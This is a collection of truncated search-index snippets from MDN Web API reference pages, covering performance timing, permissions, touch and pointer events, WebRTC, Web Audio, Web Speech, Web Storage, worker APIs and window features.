...on the given filter. performance.getentriesbyname() returns a list of performanceentry objects based on the given name and entry type. performance.getentriesbytype() returns a list of performanceentry objects of the given entry type. performance.mark() creates a timestamp in the browser's performance entry buffer with the given name. performance.measure() creates a named timestamp in the browser's performance entry buffer between two specified marks (known as the start mark and end mark, respectively). performance.now() returns a domhighrestimestamp representing the number of milliseconds elapsed since a reference instant. performance.setresourcetimingbuffersize() sets the browser's resource timing buffer size to the specified number of "resource" type performance entry objects. p...
... also available via the onresourcetimingbufferfull property. specifications specification status comment high resolution time level 2the definition of 'performance' in that specification. recommendation defines tojson() method. high resolution timethe definition of 'performance' in that specification. ...
PerformanceResourceTiming - Web APIs
n 0. performanceresourcetiming.redirectstartread only a domhighrestimestamp that represents the start time of the fetch which initiates the redirect. performanceresourcetiming.redirectendread only a domhighrestimestamp immediately after receiving the last byte of the response of the last redirect. performanceresourcetiming.fetchstartread only a domhighrestimestamp immediately before the browser starts to fetch the resource. performanceresourcetiming.domainlookupstartread only a domhighrestimestamp immediately before the browser starts the domain name lookup for the resource. performanceresourcetiming.domainlookupendread only a domhighrestimestamp representing the time immediately after the browser finishes the domain name lookup for the resource. performanceresourcetiming.conne...
...nlookupstartread only a domhighrestimestamp immediately before the browser starts the domain name lookup for the resource. performanceresourcetiming.domainlookupendread only a domhighrestimestamp representing the time immediately after the browser finishes the domain name lookup for the resource. performanceresourcetiming.connectstartread only a domhighrestimestamp immediately before the browser starts to establish the connection to the server to retrieve the resource. performanceresourcetiming.connectendread only a domhighrestimestamp immediately after the browser finishes establishing the connection to the server to retrieve the resource. ...
...timestamp immediately before the browser starts to establish the connection to the server to retrieve the resource. performanceresourcetiming.connectendread only a domhighrestimestamp immediately after the browser finishes establishing the connection to the server to retrieve the resource. performanceresourcetiming.secureconnectionstartread only a domhighrestimestamp immediately before the browser starts the handshake process to secure the current connection. performanceresourcetiming.requeststartread only a domhighrestimestamp immediately before the browser starts requesting the resource from the server. performanceresourcetiming.responsestartread only a domhighrestimestamp immediately after the browser receives the first byte of the response from the server. performanceresourcet...
... performanceresourcetiming.transfersizeread only a number representing the size (in octets) of the fetched resource. ...
PerformanceTiming - Web APIs
oading and use of the current page. you get a performancetiming object describing your page using the window.performance.timing property. properties the performancetiming interface doesn't inherit any properties. these properties each describe the time at which a particular point in the page loading process was reached. some correspond to dom events; others describe the time at which internal browser operations of interest took place. each time is provided as an unsigned long long representing the moment, in milliseconds since the unix epoch these properties are listed in the order in which they occur during the navigation process. performancetiming.navigationstart read only when the prompt for unload terminates on the previous document in the same browsing context. if there is no ...
...irect, or if one of the redirects is not of the same origin, the value returned is 0. performancetiming.redirectend read only when the last http redirect is completed, that is when the last byte of the http response has been received. if there is no redirect, or if one of the redirects is not of the same origin, the value returned is 0. performancetiming.fetchstart read only when the browser is ready to fetch the document using an http request. this moment is before the check to any application cache. performancetiming.domainlookupstart read only when the domain lookup starts. if a persistent connection is used, or the information is stored in a cache or a local resource, the value will be the same as performancetiming.fetchstart. performancetiming.domainlookupend read on...
...nection is used, the value will be the same as performancetiming.fetchstart. a connection is considered as opened when all secure connection handshake, or socks authentication, is terminated. performancetiming.secureconnectionstart read only when the secure connection handshake starts. if no such connection is requested, it returns 0. ...
...tion is requested, it returns 0. performancetiming.requeststart read only when the browser sent the request to obtain the actual document, from the server or from a cache. if the transport layer fails after the start of the request and the connection is reopened, this property will be set to the time corresponding to the new request. performancetiming.responsestart read only when the browser received the first byte of the response, from the server from a cache, or from a local resource. performancetiming.responseend read only when the browser received the last byte of the response, or when the connection is closed if this happened first, from the server, the cache, or from a local resource. performancetiming.domloading read only when the parser started its work, that is...
Permissions - Web APIs
the permissions interface of the permissions api provides the core permission api functionality, such as methods for querying and revoking permissions methods permissions.query() returns the user permission status for a given api. permissions.request() requests permission to use a given api. this is not currently supported in any browser. permissions.requestall() requests permission to use a given set of apis. this is not currently supported in any browser. permissions.revoke() revokes the permission currently set on a given api. example navigator.permissions.query({name:'geolocation'}).then(function(result) { if (result.state === 'granted') { showlocalnewswithgeolocation(); } else if (result.state === 'prompt') { showbuttontoenablelocalnews(); } // don't do an...
...ult) { if (result.state === 'granted') { showlocalnewswithgeolocation(); } else if (result.state === 'prompt') { showbuttontoenablelocalnews(); } // don't do anything if the permission was denied. }); specification specification status comment permissionsthe definition of 'permissions' in that specification. working draft initial definition. browser support the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpermissionschrome ...
... ...
... ...
Using the Permissions API - Web APIs
al permission request, as we'll see below). the permissions api provides the tools to allow developers to implement a better user experience as far as permissions are concerned. for example, it can query whether permission to use a particular api is granted or denied, and specifically request permission to use an api. at the moment, implementation of the api is at an early stage, so support in browsers is pretty spotty: it can only be found in chrome 44 and later and firefox 43 and later. the only supported method right now is permissions.query(), which queries permission status. the only two apis currently recognized by the permissions api in chrome are geolocation and notification, with firefox also recognizing push and webmidi. more features will be added as time progresses. a sim...
...s current location and plot it out on a google map: you can run the example live, or view the source code on github. most of the code is simple and unremarkable — below we'll just be walking through the permissions api-related code, so check the code yourself if you want to study any of the other parts. accessing the permissions api the navigator.permissions property has been added to the browser to allow access to the global permissions object. this object will eventually include methods for querying, requesting, and revoking permissions, although currently it only contains permissions.query(); see below. querying permission state in our example, the permissions functionality is handled by one function — handlepermission(). this starts off by querying the permission status using pe...
...ws us to respond to any changes in the permission status for the api we are interested in. at the moment we are just reporting the change in state. conclusion and future work at the moment this doesn't offer much more than what we had already. if we choose to never share our location from the permission prompt (deny permission), then we can't get back to the permission prompt without using the browser menu options: firefox: tools > page info > permissions > access your location. select always ask. chrome: hamburger menu > settings > show advanced settings. in the privacy section, click content settings. in the resulting dialog, find the location section and select ask when a site tries to... . finally, click manage exceptions and remove the permissions you granted to the sites you are in...
...o > permissions > access your location. select always ask. chrome: hamburger menu > settings > show advanced settings. in the privacy section, click content settings. in the resulting dialog, find the location section and select ask when a site tries to... . finally, click manage exceptions and remove the permissions you granted to the sites you are interested in. however, future additions to browser functionality should provide the request() method, which will allow us to programatically request permissions, any time we like. these should hopefully be available soon. ...
Using Pointer Events - Web APIs
element to build a multi-touch enabled drawing application. this example is based on the one in the touch events overview, except it uses the pointer events input event model. another difference is that because pointer events are pointer device agnostic, the application accepts coordinate-based inputs from a mouse, a pen, or a fingertip using the same code. this application will only work on a browser that supports pointer events. a live version of this application is available on github. the source code is available on github and pull requests and bug reports are welcome. definitions surface a touch-sensitive surface. this may be a trackpad, a touch screen, or even a virtual mapping of a user's desk surface (or mousepad) with the physical screen. touch point a point of contact wi...
...or elbow, ear, nose, whatever, but typically a finger), stylus, mouse, or any other method for specifying a single point on the surface. example the text below uses the term "finger" when describing the contact with the surface, but it could, of course, also be a stylus, mouse, or other method of pointing at a location. create a canvas the touch-action property is set to none to prevent the browser from applying its default touch behavior to the application. <canvas id="canvas" width="600" height="600" style="border:solid black 1px; touch-action:none"> your browser does not support canvas element. </canvas> <br> <button onclick="startup()">initialize</button> <br> log: <pre id="log" style="border: 1px solid #ccc;"></pre> setting up the event handlers when the page loads, the startup...
...ch to end"); } } this is very similar to the previous function; the only real differences are that we draw a small square to mark the end and that when we call array.splice(), we simply remove the old entry from the ongoing touch list, without adding in the updated information. the result is that we stop tracking that touch point. handling canceled touches if the user's finger wanders into browser ui, or the touch otherwise needs to be canceled, the pointercancel event is sent, and we call the handlecancel() function below. function handlecancel(evt) { log("pointercancel: id = " + evt.pointerid); var idx = ongoingtouchindexbyid(evt.pointerid); ongoingtouches.splice(idx, 1); // remove it; we're done } since the idea is to immediately abort the touch, we simply remove it from the...
... b.tostring(16); // make it a hex digit var color = "#" + r + g + b; log("color for touch with identifier " + touch.pointerid + " = " + color); return color; } the result from this function is a string that can be used when calling <canvas> functions to set drawing colors. for example, for a pointerevent.pointerid value of 10, the resulting string is "#aaa". copying a touch object some browsers may re-use touch objects between events, so it's best to copy the bits you care about, rather than referencing the entire object. function copytouch(touch) { return { identifier: touch.pointerid, pagex: touch.clientx, pagey: touch.clienty }; } finding an ongoing touch the ongoingtouchindexbyid() function below scans through the ongoingtouches array to find the touch matching the given id...
RTCRtpReceiver.getCapabilities() static function - Web APIs
codecs and capabilities supported by rtcrtpreceivers on the current device. you can, similarly, obtain the capabilities of rtcrtpsenders by calling the static function rtcrtpsender.getcapabilities(). syntax let rtpcapabilities = rtcrtpreceiver.getcapabilities(kind); parameters kind a domstring indicating the type of media for which you wish to get the device's capability to receive. all browsers support the primary media kinds: audio and video. return value an rtcrtpcapabilities object stating what capabilities the browser has for receiving the specified media kind over an rtcpeerconnection. if the browser doesn't have any support for the given media kind, the returned value is null. description as a static function, this is always called using the form: capabilities = rtcrtprec...
...eturned value is null. description as a static function, this is always called using the form: capabilities = rtcrtpreceiver.getcapabilities("audio"); the returned set of capabilities is the most optimistic possible list. it is entirely possible that certain combinations of options may fail to work when you actually try to use them. calling rtcrtpreceiver.getcapabilities() doesn't prime the browser in any way to handle media. nothing is loaded, fetched, or otherwise prepared. it's simply a means of determining what might be usable before starting to try to access media. because the set of capabilities available tend to be stable for a length of time (people don't install and uninstall codecs and the like very often), the media capabilities can in whole or in part provide a cross-origin m...
...t's simply a means of determining what might be usable before starting to try to access media. because the set of capabilities available tend to be stable for a length of time (people don't install and uninstall codecs and the like very often), the media capabilities can in whole or in part provide a cross-origin method for identifying a user. for that reason, in privacy-sensitive contexts, the browser may choose to obscure the capabilities; this might be done, for example, by leaving out rarely-used codec configurations. example the function below returns a boolean indicating whether or not the device supports receiving h.264 video on a webrtc connection. since rtcrtpreceiver.getcapabilities() actually only indicates probable support, attempting to receive h.264 video might still fail ev...
...n after getting a positive response from this function. function canreceiveh264() { let capabilities = rtcrtpreceiver.getcapabilities("video"); capabilities.codecs.foreach((codec) => { if (codec.mimetype === "video/h264") { return true; } }); return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver.getcapabilities()' in that specification. candidate recommendation ...
RTCRtpSender.getCapabilities() static function - Web APIs
ject describing the codecs and capabilities supported by the rtcrtpsender. you can, similarly, obtain the capabilities of rtcrtpreceivers by calling the static function rtcrtpreceiver.getcapabilities(). syntax let rtpcapabilities = rtcrtpsender.getcapabilities(kind); parameters kind a domstring indicating the type of media for which you wish to get the sender's capability to receive. all browsers support the primary media kinds: audio and video. return value an rtcrtpcapabilities object stating what capabilities the browser has for sending the specified media kind over an rtcpeerconnection. if the browser doesn't have any support for the given media kind, the returned value is null. description as a static function, this is always called using the form: capabilities = rtcrtpsende...
...he returned value is null. description as a static function, this is always called using the form: capabilities = rtcrtpsender.getcapabilities("audio"); the returned set of capabilities is the most optimistic possible list. it is entirely possible that certain combinations of options may fail to work when you actually try to use them. calling rtcrtpsender.getcapabilities() doesn't prime the browser in any way to handle media. nothing is loaded, fetched, or otherwise prepared. it's simply a means of determining what might be usable before starting to try to access media. because the set of capabilities available tend to be stable for a length of time (people don't install and uninstall codecs and the like very often), the media capabilities can in whole or in part provide a cross-origin m...
...t's simply a means of determining what might be usable before starting to try to access media. because the set of capabilities available tend to be stable for a length of time (people don't install and uninstall codecs and the like very often), the media capabilities can in whole or in part provide a cross-origin method for identifying a user. for that reason, in privacy-sensitive contexts, the browser may choose to obscure the capabilities; this might be done, for example, by leaving out rarely-used codec configurations. example the function below returns a boolean indicating whether or not the device supports sending h.264 video on an rtcrtpsender. since rtcrtpsender.getcapabilities() actually only indicates probable support, h.264 support might still fail even after getting a positive ...
...l even after getting a positive response from this function. function cansendh264() { let capabilities = rtcrtpsender.getcapabilities("video"); capabilities.codecs.foreach((codec) => { if (codec.mimetype === "video/h264") { return true; } }); return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.getcapabilities()' in that specification. candidate recommendation ...
Resource Timing API - Web APIs
s return high-resolution timestamps. these timestamps have a domhighrestimestamp type and as its name implies, they represent a high-resolution point in time. this type is a double and its value is a discrete point in time or the difference in time between two discrete points in time. the unit of domhighrestimestamp is milliseconds and should be accurate to 5 µs (microseconds). however, if the browser is unable to provide a time value accurate to 5 µs (because, for example, due to hardware or software constraints), the browser can represent a the value as a time in milliseconds accurate to a millisecond. resource loading timestamps an application can get timestamps for the various stages used to load a resource. the first property in the processing model is starttime which returns the tim...
...eturns the timestamp immediately before the resource loading process begins. the fetchstart timestamps follows and redirect processing (if applicable) and preceeds dns lookup. the next stages are connectstart and connectend which are the timestamps immediately before and after connecting to the server, respectively. the last three timestamps are, in order: requeststart - the timestamp before the browser starts requesting the resource from the server; responsestart - the timestamp after the browser receives the first byte of the response from the server; and responseend - the timestamp after the browser receives the last byte of the resource. if the resource is loaded via a secure connection a secureconnectionstart timestamp will be available between the connection start and end events. when ...
...xmlhttprequest" for an xmlhttprequest and "img" for an image (such as a jpeg). if the current context is a worker, the workerstart property can be used to obtain a domhighrestimestamp when the worker was started. methods the resource timing api includes two methods that extend the performance interface. ...
...e browser's resource performance entry buffer. the setresourcetimingbuffersize() method sets the resource performance entry buffer size to the specified number of resource performance entries. the performanceresourcetiming interface's tojson() method returns a json serialization of a "resource" type performance entry. implementation status as shown in the performanceresourcetiming interface's browser compatibility table, most of these interfaces are broadly implemented by desktop browsers. however, note that some properties have little to no implementation so see each property's "browser compatibility" section for more specific interoperability data. to test your browser's support for these interfaces, run the perf-api-support application. see also resource timing standard; w3c editor'...
Supporting both TouchEvent and MouseEvent - Web APIs
the touch interfaces enable applications to create enhanced user experiences on touch enabled devices. however, the reality is the vast majority of today's web content is designed only to work with mouse input. consequently, even if a browser supports touch, the browser must still emulate mouse events so content that assumes mouse-only input will work as is without direct modification. ideally, a touch-based application does not need to explicitly address mouse input. ...
...vices. however, the reality is the vast majority of today's web content is designed only to work with mouse input. consequently, even if a browser supports touch, the browser must still emulate mouse events so content that assumes mouse-only input will work as is without direct modification. ideally, a touch-based application does not need to explicitly address mouse input. however, because the browser must emulate mouse events, there may be some interaction issues that need to be handled. below are some details about the interaction and the ramifications for application developers. ...
... will work as is without direct modification. ideally, a touch-based application does not need to explicitly address mouse input. however, because the browser must emulate mouse events, there may be some interaction issues that need to be handled. below are some details about the interaction and the ramifications for application developers. event firing the touch events standard defines a few browser requirements regarding touch and mouse interaction (see the interaction with mouse events and click section for details), noting the browser may fire both touch events and mouse events in response to the same user input. ...
...cations for application developers. event firing the touch events standard defines a few browser requirements regarding touch and mouse interaction (see the interaction with mouse events and click section for details), noting the browser may fire both touch events and mouse events in response to the same user input. this section describes the requirement that may affect an application. if the browser fires both touch and mouse events because of a single user input, the browser must fire a touchstart before any mouse events. consequently, if an application does not want mouse events fired on a specific touch target element, the element's touch event handlers should call preventdefault() and no additional mouse events will be dispatched. here is a code snippet of the touchmove event handler...
Using Touch Events - Web APIs
nt, it would use the targettouches list in the touchstart event handler to process the touch point in an application-specific manner. if an application supports two-finger swipe for any two touch points, it will use the changedtouches list in the touchmove event handler to determine if two touch points had moved and then implement the semantics of that gesture in an application-specific manner. browsers typically dispatch emulated mouse and click events when there is only a single active touch point. multi-touch interactions involving two or more active touch points will usually only generate touch events. to prevent the emulated mouse events from being sent, use the preventdefault() method in the touch event handlers. for more information about the interaction between mouse and touch events,...
...supported(ev); break; } } access the attributes of a touch point. // create touchstart handler someelement.addeventlistener('touchstart', function(ev) { // iterate through the touch points that were activated // for this element and process each event 'target' for (var i=0; i < ev.targettouches.length; i++) { process_target(ev.targettouches[i].target); } }, false); prevent the browser from processing emulated mouse events. // touchmove handler function process_touchmove(ev) { // set call preventdefault() ev.preventdefault(); } best practices here are some best practices to consider when using touch events: minimize the amount of work that is done in the touch handlers. add the touch point handlers to the specific target element (rather than the entire document or...
...her than the entire document or nodes higher up in the document tree). add touchmove, touchend and touchcancel event handlers within the touchstart. the target touch element or node should be large enough to accommodate a finger touch. if the target area is too small, touching it could result in firing other events for adjacent elements. implementation and deployment status the touch events browser compatibility data indicates touch event support among mobile browsers is relatively broad, with desktop browser support lagging although additional implementations are in progress. some new features regarding a touch point's touch area - the area of contact between the user and the touch surface - are in the process of being standardized. the new features include the x and y radius of the ell...
.... see the pointer events mdn article. the pointer event model can simplify an application's input processing since a pointer represents input from any input device. additionally, the pointer event types are very similar to mouse event types (for example, pointerdown pointerup) thus code to handle pointer events closely matches mouse handling code. the implementation status of pointer events in browsers is relatively high with chrome, firefox, ie11 and edge having complete implementations. examples and demos the following documents describe how to use touch events and include example code: touch events overview implement custom gestures introduction to touch events in javascript add touch screen support to your website (the easy way) touch event demonstrations: paint program (by ...
WebGLRenderingContext.pixelStorei() - Web APIs
ack_flip_y_webgl flips the source data along its vertical axis if true. glboolean false true, false webgl gl.unpack_premultiply_alpha_webgl multiplies the alpha channel into the other color channels glboolean false true, false webgl gl.unpack_colorspace_conversion_webgl default color space conversion or no color space conversion. glenum gl.browser_default_webgl gl.browser_default_webgl, gl.none webgl when using a webgl 2 context, the following values are available additionally: constant description type default value allowed values (for param) specified in gl.pack_row_length number of pixels in a row. glint 0 0 to infinity opengl es 3.0 gl.pack_skip_pixels numb...
...: constant description type default value allowed values (for param) specified in gl.pack_row_length number of pixels in a row. glint 0 0 to infinity opengl es 3.0 gl.pack_skip_pixels number of pixel locations skipped before the first pixel is written into memory. glint 0 0 to infinity opengl es 3.0 gl.pack_skip_rows number of rows of pixel locations skipped before the first pixel is written into memory glint 0 0 to infinity opengl es 3.0 gl.unpack_row_length number of pixels in a row. glint 0 0 to infinity opengl es 3.0 gl.unpack_image_height image height used for reading pixel data from memory glint 0 0 to infinity opengl es 3.0 gl.unpa...
...ength number of pixels in a row. ...
... pixels in a row. ...
Using WebRTC data channels - Web APIs
elieves are complete, and will deliver them to the receiving rtcdatachannel as multiple messages. messages smaller than 16kib can be sent without concern, as all major user agents handle them the same way. beyond that, things get more complicated. concerns with large messages currently, it's not practical to use rtcdatachannel for messages larger than 64kib (16kib if you want to support cross-browser exchange of data). the problem arises from the fact that sctp—the protocol used for sending and receiving data on an rtcdatachannel—was originally designed for use as a signaling protocol. it was expected that messages would be relatively small. support for messages larger than the network layer's mtu was added almost as an afterthought, in case signaling messages needed to be larger than t...
...ly became a problem. over time, various applications (including those implementing webrtc) began to use sctp to transmit larger and larger messages. eventually it was realized that when the messages become too large, it's possible for the transmission of a large message to block all other data transfers on that data channel—including critical signaling messages. this will become an issue when browsers properly support the current standard for supporting larger messages—the end-of-record (eor) flag that indicates when a message is the last one in a series that should be treated as a single payload. this is implemented in firefox 57, but is not yet implemented in chrome (see chromium bug 7774). with eor support in place, rtcdatachannel payloads can be much larger (officially up to 256kib, b...
...is in the process of being implemented; see bug 1381145 to track it becoming available for general use. the chrome team is tracking their implementation of ndata support in chrome bug 5696. much of the information in this section is based in part on the blog post demystifyijng webrtc's data channel message size limitations, written by lennart grahl. he goes into a bit more detail there, but as browsers have been updated since then some of it may be out-of-date. in addition, as time goes by, it will become more so, especially once eor and ndata support are fully integrated in the major browsers. security all data transferred using webrtc is encrypted. in the case of rtcdatachannel, the encryption used is datagram transport layer security (dtls), which is based on transport layer security (...
... more fundamentally, since webrtc is a peer-to-peer connection between two user agents, the data never passes through the web or application server. ...
Using the Web Audio API - Web APIs
more than 1,000 simultaneous sounds without stuttering. example code our boombox looks like this: note the retro cassette deck with a play button, and vol and pan sliders to allow you to alter the volume and stereo panning. we could make this a lot more complex, but this is ideal for simple learning at this stage. check out the final demo here on codepen, or see the source code on github. browser support modern browsers have good support for most features of the web audio api. there are a lot of features of the api, so for more exact information, you'll have to check the browser compatibility tables at the bottom of each reference page. audio graphs everything within the web audio api is based around the concept of an audio graph, which is made up of nodes. the web audio api handles...
...everal audio sources with different channel layouts are supported, even within a single context. because of this modular design, you can create complex audio functions with dynamic effects. audio context to be able to do anything with the web audio api, we need to create an instance of the audio context. this then gives us access to all the features and functionality of the api. // for legacy browsers const audiocontext = window.audiocontext || window.webkitaudiocontext; const audiocontext = new audiocontext(); so what's going on when we do this? a baseaudiocontext is created for us automatically and extended to an online audio context. we'll want this because we're looking to play live sound. note: if you just want to process audio data, for instance, buffer and stream it but not play...
... allowing the sound to be available to the web audio api. controlling sound when playing sound on the web, it's important to allow the user to control it. depending on the use case, there's a myriad of options, but we'll provide functionality to play/pause the sound, alter the track's volume, and pan it from left to right. controlling sound programmatically from javascript code is covered by browsers' autoplay support policies, as such is likely to be blocked without permission being granted by the user (or a whitelist). autoplay policies typically require either explicit permission or a user engagement with the page before scripts can trigger audio to play. these special requirements are in place essentially because unexpected sounds can be annoying and intrusive, and can cause accessibi...
... we will be making our audio graph look like this: let's use the constructor method of creating a node this time. when we do it this way, we have to pass in the context and any options that that particular node may take: const panneroptions = { pan: 0 }; const panner = new stereopannernode(audiocontext, panneroptions); note: the constructor method of creating nodes is not supported by all browsers at this time. the older factory methods are supported more widely. here our values range from -1 (far left) and 1 (far right). again let's use a range type input to vary this parameter: <input type="range" id="panner" min="-1" max="1" value="0" step="0.01"> we use the values from that input to adjust our panner values in the same way as we did before: const pannercontrol = document.query...
Using the Web Speech API - Web APIs
ecognition — plus a number of closely-related interfaces for representing grammar, results, etc. generally, the default speech recognition system available on the device will be used for the speech recognition — most modern oses have a speech recognition system for issuing voice commands. think about dictation on macos, siri on ios, cortana on windows 10, android speech, etc. note: on some browsers, like chrome, using speech recognition on a web page involves a server-based recognition engine. your audio is sent to a web service for recognition processing, so it won't work offline. demo to show simple usage of web speech recognition, we've written a demo called speech color changer. when the screen is tapped/clicked, you can say an html color keyword, and the app's background color wi...
..., so it won't work offline. demo to show simple usage of web speech recognition, we've written a demo called speech color changer. when the screen is tapped/clicked, you can say an html color keyword, and the app's background color will change to that color. to run the demo, you can clone (or directly download) the github repo it is part of, open the html index file in a supporting desktop browser, or navigate to the live demo url in a supporting mobile browser like chrome. browser support support for web speech api speech recognition is curently limited to chrome for desktop and android — chrome has supported it since around version 33 but with prefixed interfaces, so you need to include prefixed versions of them, e.g. webkitspeechrecognition. html and css the html and css for the...
...a demo called speak easy synthesis. this includes a set of form controls for entering text to be synthesised, and setting the pitch, rate, and voice to use when the text is uttered. after you have entered your text, you can press enter/return to hear it spoken. ...
...ontrols for entering text to be synthesised, and setting the pitch, rate, and voice to use when the text is uttered. after you have entered your text, you can press enter/return to hear it spoken. to run the demo, you can clone (or directly download) the github repo it is part of, open the html index file in a supporting desktop browser, or navigate to the live demo url in a supporting mobile browser like chrome, or firefox os. browser support support for web speech api speech synthesis is still getting there across mainstream browsers, and is currently limited to the following: firefox desktop and mobile support it in gecko 42+ (windows)/44+, without prefixes, and it can be turned on by flipping the media.webspeech.synth.enabled flag to true in about:config. firefox os 2.5+ s...
Web Storage API - Web APIs
the web storage api provides mechanisms by which browsers can store key/value pairs, in a much more intuitive fashion than using cookies. web storage concepts and usage the two mechanisms within web storage are as follows: sessionstorage maintains a separate storage area for each given origin that's available for the duration of the page session (as long as the browser is open, including page reloads and restores) stores data only for a session, meaning that the data is stored until the browser (or tab) is closed. data is never transferred to the server. storage limit is larger than a cookie (at most 5mb). localstorage does the same thing, but persists even when the browser is closed and reopened. stores data with no expiration date, and gets cleared only through...
...res data only for a session, meaning that the data is stored until the browser (or tab) is closed. data is never transferred to the server. storage limit is larger than a cookie (at most 5mb). localstorage does the same thing, but persists even when the browser is closed and reopened. stores data with no expiration date, and gets cleared only through javascript, or clearing the browser cache / locally stored data. storage limit is the maximum amongst the three. ...
... same thing, but persists even when the browser is closed and reopened. stores data with no expiration date, and gets cleared only through javascript, or clearing the browser cache / locally stored data. storage limit is the maximum amongst the three. these mechanisms are available via the window.sessionstorage and window.localstorage properties (to be more precise, in supporting browsers the window object implements the windowlocalstorage and windowsessionstorage objects, which the localstorage and sessionstorage properties hang off) — invoking one of these will create an instance of the storage object, through which data items can be set, retrieved and removed. a different storage object is used for the sessionstorage and localstorage for each origin — they function and a...
...sionstorage objects, which the localstorage and sessionstorage properties hang off) — invoking one of these will create an instance of the storage object, through which data items can be set, retrieved and removed. a different storage object is used for the sessionstorage and localstorage for each origin — they function and are controlled separately. note: from firefox 45 onwards, when the browser crashes/restarts, the amount of data saved per origin is limited to 10mb. this has been done to avoid memory issues caused by excessive usage of web storage. note: access to web storage from third-party iframes is denied if the user has disabled third-party cookies (firefox implements this behaviour from version 43 onwards.) note: web storage is not the same as mozstorage (mozilla's xpcom...
Functions and classes available to Web Workers - Web APIs
rglobalscope yes, but is a no-op. unknown no postmessage() yes, on dedicatedworkerglobalscope no no unknown no apis available in workers function functionality support in gecko (firefox) support in ie support in blink (chrome and opera) support in webkit (safari) broadcast channel api allows simple communication between browsing contexts (that is windows, tabs, frames, or iframes) with the same origin (usually pages from the same site). 38 (38) no support no support no support cache cache api provides the ability to programmatically control cache storage associated with current origin. (yes) no support 43 ? channel messaging api allows two separate scripts running in dif...
...exts (that is windows, tabs, frames, or iframes) with the same origin (usually pages from the same site). 38 (38) no support no support no support cache cache api provides the ability to programmatically control cache storage associated with current origin. ...
...in. (yes) no support 43 ? channel messaging api allows two separate scripts running in different browsing contexts attached to the same document (e.g., two iframes, or the main document and an iframe, two documents via a sharedworker, or two workers) to communicate directly via two ports. 41 (41) (yes) (yes) (yes) console api provides access to the browser's debugging console (e.g., the web console in firefox). the specifics of how it works vary from browser to browser, but there is a de facto set of features that are typically provided. 38 (38) (yes) (yes) (yes) crypto the crypto interface represents basic cryptography features available in the current context. it allows access to a cryptographically strong random number ...
...ob objects accesible to the worker. workers can also create a new url using the url() constructor and call any normal method on the returned object. 21 (21) and 26 (26) for url() constructor no support no support no support webgl with offscreencanvas webgl (web graphics library) is a javascript api for rendering interactive 3d and 2d graphics within any compatible web browser without the use of plug-ins. 44 (44) behind a feature preference setting. in about:config, set gfx.offscreencanvas.enabled to true. no support no support no support websocket creates and returns a new websocket object; this mimics the behavior of the standard websocket() constructor. 37 (37) 11.0 (yes) (yes) worker creates a new worker. yes, work...
Window: beforeunload event - Web APIs
its resources are about to be unloaded. the document is still visible and the event is still cancelable at this point. bubbles no cancelable yes interface event event handler property onbeforeunload this event enables a web page to trigger a confirmation dialog asking the user if they really want to leave the page. ...
...perty onbeforeunload this event enables a web page to trigger a confirmation dialog asking the user if they really want to leave the page. if the user confirms, the browser navigates to the new page, otherwise it cancels the navigation. according to the specification, to show the confirmation dialog an event handler should call preventdefault() on the event. however note that not all browsers support this method, and some instead require the event handler to implement one of two legacy methods: assigning a string to the event's returnvalue property returning a string from the event handler. some browsers used to display the returned string in the confirmation dialog, enabling the event handler to display a custom message to the user. however, this is deprecated and no longer ...
...thod, and some instead require the event handler to implement one of two legacy methods: assigning a string to the event's returnvalue property returning a string from the event handler. some browsers used to display the returned string in the confirmation dialog, enabling the event handler to display a custom message to the user. however, this is deprecated and no longer supported in most browsers. to combat unwanted pop-ups, browsers may not display prompts created in beforeunload event handlers unless the page has been interacted with, or may even not display them at all. attaching an event handler/listener to window or document's beforeunload event prevents browsers from using in-memory page navigation caches, like firefox's back-forward cache or webkit's page cache. the html spec...
...k-forward cache or webkit's page cache. the html specification states that calls to window.alert(), window.confirm(), and window.prompt() methods may be ignored during this event. see the html specification for more details. examples the html specification states that authors should use the event.preventdefault() method instead of using event.returnvalue. however, this is not supported by all browsers. window.addeventlistener('beforeunload', (event) => { // cancel the event as stated by the standard. event.preventdefault(); // chrome requires returnvalue to be set. event.returnvalue = ''; }); specifications specification status comment html living standardthe definition of 'beforeunload' in that specification. living standard html5the ...
Privileged features - Web APIs
he task bar. a dependent window also stays in front of the parent window. dependent windows are not implemented on macos x, this option will be ignored. the dependent feature is currently under revision to be removed (bug 214867) in msie 6, the nearest equivalent to this feature is the showmodelessdialog() method. chrome if on, the page is loaded as window's only content, without any of the browser's interface elements. there will be no context menu defined by default and none of the standard keyboard shortcuts will work. the page is supposed to provide a user interface of its own, usually this feature is used to open xul documents (standard dialogs like the javascript console are opened this way). dialog the dialog feature removes all icons (restore, minimize, maximize) from the wind...
... is created by the alert() function. the exact behavior of modal windows depends on the platform and on the mozilla release version. note: as of gecko 1.9, the internet explorer equivalent to this feature is the window.showmodaldialog() method. for compatibility reasons, it's now supported in firefox. note also that starting in gecko 2.0, you can use window.showmodaldialog() without universalbrowserwrite privileges. titlebar by default, all new secondary windows have a titlebar. if set to no or 0, this feature removes the titlebar from the new secondary window. mozilla and firefox users can force new windows to always render the titlebar by setting dom.disable_window_open_feature.titlebar to true in about:config or in their user.js file. alwaysraised if on, the new window will a...
...y default, all new secondary windows have a titlebar. if set to no or 0, this feature removes the titlebar from the new secondary window. mozilla and firefox users can force new windows to always render the titlebar by setting dom.disable_window_open_feature.titlebar to true in about:config or in their user.js file. alwaysraised if on, the new window will always be displayed on top of other browser windows, regardless of whether it is active or not. alwayslowered if on, the new created window floats below, under its own parent when the parent window is not minimized. alwayslowered windows are often referred as pop-under windows. the alwayslowered window can not be on top of the parent but the parent window can be minimized. in ns 6.x, the alwayslowered window has no minimize system comm...
... the parent window is not minimized. alwayslowered windows are often referred as pop-under windows. the alwayslowered window can not be on top of the parent but the parent window can be minimized. in ns 6.x, the alwayslowered window has no minimize system command icon and no restore/maximize system command. alwaysontop if on, the new window will always be displayed on top of all other windows (browser windows and otherwise), regardless of whether it is active or not. this was added in firefox 66 (see bug 1519893). z-lock same as alwayslowered. close when set to no or 0, this feature removes the system close command icon and system close menu item. it will only work for dialog windows (dialog feature set). close=no will override minimizable=yes. mozilla and firefox users can force new wi...
HTML in XMLHttpRequest - Web APIs
